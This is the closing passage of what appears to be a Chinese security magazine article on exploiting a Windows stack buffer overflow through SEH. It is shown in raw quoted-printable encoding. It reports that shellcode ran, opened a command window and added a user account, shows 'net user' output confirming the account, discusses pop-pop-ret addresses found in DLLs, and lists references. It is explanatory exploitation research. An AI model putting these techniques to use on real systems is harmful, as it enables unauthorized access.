=C5=C8=EB=A3=AC=C8=BB=BA=F3=D6=B4=D0=D0=D3=D0=C2=A9=B6=B4=B5=C4=B3=CC=D0=F2=
=A3=AC=BE=CD=BB=E1=B7=A2=CF=D6=C1=CB=A3=AC=CE=D2=C3=C7=B3=C9=B9=A6=B5=C4=B8=
=C4=B1=E4=C1=CB=B3=CC=D0=F2=B5=C4=C1=F7=B3=CC=A3=AC=D7=AA=C8=EB=CE=D2=C3=C7=
=B5=C4shellcode=A3=AC=BF=AA=C1=CB=D2=BB=B8=F6cmd=B4=B0=BF=DA=B2=A2=C7=D2=BC=
=D3=C8=EB=C1=CB=D5=CB=BA=C5aa
=C3=FC=C1=EE=D6=B4=D0=D0=B3=C9=B9=A6=A1=A3=
C:\Documents=20
and Settings\Nanika\=D7=C0=C3=E6\Release>net =
user
\\Student=20
=
=B5=C4=CA=B9=D3=C3=D5=DF=D5=CB=BB=A7
-----------------------------=
--------------------------------------------------
aa =
; =20
=
Administrator =
=20
=
Nanika &=
nbsp; =20
=
=C3=FC=C1=EE=D6=B4=D0=D0=B3=C9=B9=A6=A1=A3
C:\Documents and=20
=
Settings\Nanika\=D7=C0=C3=E6\Release>
=BE=C5=A1=A2=BD=E1=C2=DB<=
BR>=D5=E2=B4=CE=B5=C4=C2=A9=B6=B4=C0=FB=D3=C3=A3=AC=D4=D9=B6=C8=D5=B9=CF=D6=
=C1=CB=A3=AC=D4=DD=B4=E6=C7=F8=D2=E7=CE=BB=B5=C4=D1=CF=D6=D8=D0=D4=A3=AC=C7=
=D2=B2=BB=D6=BB=D3=D0=D2=BB=D6=D6=B7=BD=B7=A8=C0=B4=D7=AA=C8=EB=CE=D2=C3=C7=
=CB=F9=BD=A8=B9=B9=B5=C4=B6=F1=D2=E2=B3=CC=D0=F2=A3=AC=D6=BB=D2=AA=CE=D2=C3=
=C7=BF=C9=D2=D4=B4=D3=C2=A9=B6=B4=B3=CC=D0=F2=CB=F9=BC=D3=D4=D8=B5=C4DLL=D6=
=D0=D1=B0=D5=D2=B5=BD=BF=C9=D2=D4=C0=FB=D3=C3=B5=C4=BB=FA=C6=F7=C2=EB=A3=AC=
=BE=CD=BF=C9=D2=D4=CA=B9=D3=C3=B7=B5=BB=D8DLL=D6=D0=B5=C4=B3=CC=D0=F2=C0=B4=
=B4=EF=B5=BD=CE=D2=C3=C7=B6=A8=CE=BB=B5=C4=B9=A6=C4=DC=A3=AC=B4=CB=B4=CE=C2=
=A9=B6=B4=B5=C4=C0=FB=D3=C3=A3=AC=CE=D2=BB=B9=C3=BB=D3=D0=D4=DA=B1=F0=B5=C4=
=CF=B5=CD=B3=C9=CF=B2=E2=CA=D4=B9=FD=A3=AC=BF=C9=C4=DC=D4=DA=B1=F0=B5=C4=CF=
=B5=CD=B3=C9=CF=A3=AC=B2=BB=C4=DC=CD=A8=D3=C3=C1=BD=B4=CEpop=A1=A2=20
=
ret=A3=AC=B6=F8=B6=E0=CF=DF=B3=CC=B5=C4=B3=CC=D0=F2=A3=AC=BF=C9=C4=DC=D2=B2=
=B2=BB=C4=DC=B9=BB=CD=A8=D3=C3=A3=AC=B5=AB=D6=D8=B5=E3=CA=C7=D4=DA=D3=DA=B6=
=D4=C2=A9=B6=B4=B5=C4=B5=F7=CA=D4=B9=FD=B3=CC=BA=CD=C8=E7=BA=CE=B6=A8=CE=BB=
=B5=C4=D1=D0=BE=BF=A3=AC=C1=CB=BD=E2=CF=B5=CD=B3=B0=B2=C8=AB=A3=AC=B1=D8=D0=
=EB=D2=AA=CF=C8=C1=CB=BD=E2=CF=B5=CD=B3=A3=AC=D4=DALINUX=CF=C2=D2=F2=CE=AA=
=BF=AA=B7=C5=D4=AD=CA=BC=C2=EB=A3=AC=CA=B9=B5=C3=C8=CB=C8=CB=B6=BC=B1=C8=BD=
=CF=C8=DD=D2=D7=C1=CB=BD=E2=C4=DA=B2=BF=BA=CB=D0=C4=BA=CD=BC=DC=B9=B9=A3=AC=
=B5=AB=D4=DAWIN=CF=C2=BE=CD=B2=BB=CD=AC=C1=CB=A3=AC=B3=FD=C1=CB=B5=C8M$=B7=
=A2=B2=BC=D2=BB=D0=A9=BC=BC=CA=F5=CE=C4=D5=C2=CD=E2=A3=AC=BE=CD=D6=BB=C4=DC=
=B5=C8=B8=DF=CA=D6=C0=B4=D1=D0=BE=BF=BA=CB=D0=C4=BA=F3=A3=AC=D4=DA=CD=F8=C2=
=E7=C9=CF=B7=A2=B1=ED=C1=CB=A3=AC=CB=E4=C8=BB=BA=CB=D0=C4=D5=E2=D6=D6=B5=D7=
=B2=E3=B5=C4=B6=AB=CE=F7=A3=AC=B2=A2=B2=BB=D0=E8=D2=AA=C8=CB=C8=CB=B6=BC=C4=
=DC=B9=BB=C1=CB=BD=E2=A3=AC=B5=AB=C1=CB=BD=E2=BA=F3=BE=CD=BF=C9=D2=D4=B6=D4=
=D0=B4=B3=CC=D0=F2=C9=CF=A3=AC=D4=F6=BC=D3=C1=CB=D0=ED=B6=E0=BD=E2=BE=F6=B5=
=C4=B0=EC=B7=A8=A1=A3
=B2=CE=BF=BC=CE=C4=CF=D7
http://m=
sdn.microsoft.com/
http://www.nsfocus.net/index.php?act=3Dmagazine=
&do=3Dview&mid=3D1662
=B5=DA=CE=E5=D5=C2=20
Exploit Microsoft INTERNET INFORMATION =
SERVER
=D7=F7=D5=DF=A3=BA=C4=AA=B4=F3=20
=
master_moda@yahoo.com
http://www.finalseraph.org/hume/asmdata/SEHi=
nASM.htm
SEH in=20
ASM =D1=D0=BE=BF
By=20
=
Hume/=C0=E4=D3=EA=C6=AE=D0=C4
http://0xc0ffee.com/papers/buffer_ov=
erflow/Jason's%20Buffer%20Windows%20NT%20Overflow%20Paper.htm
Windows =
NT Buffer Overflow's From Start to=20
Finish
jason_jordan@omron.com
| =B0=E6=C8=A8=CB=F9=D3=D0=A3=AC=CE=B4=BE=AD=D0=ED=BF=C9=A3=AC=
=B2=BB=B5=C3=D7=AA=D4=D8 | |
![3DTitle=20](3D"http://www.nsfocus.net/images/js_01.gif")
![3DLeft](3D"http://www.nsfocus.net/images/js_02.gif"=20)
![3DRight](3D"http://www.nsfocus.net/images/js_03.gif"=20)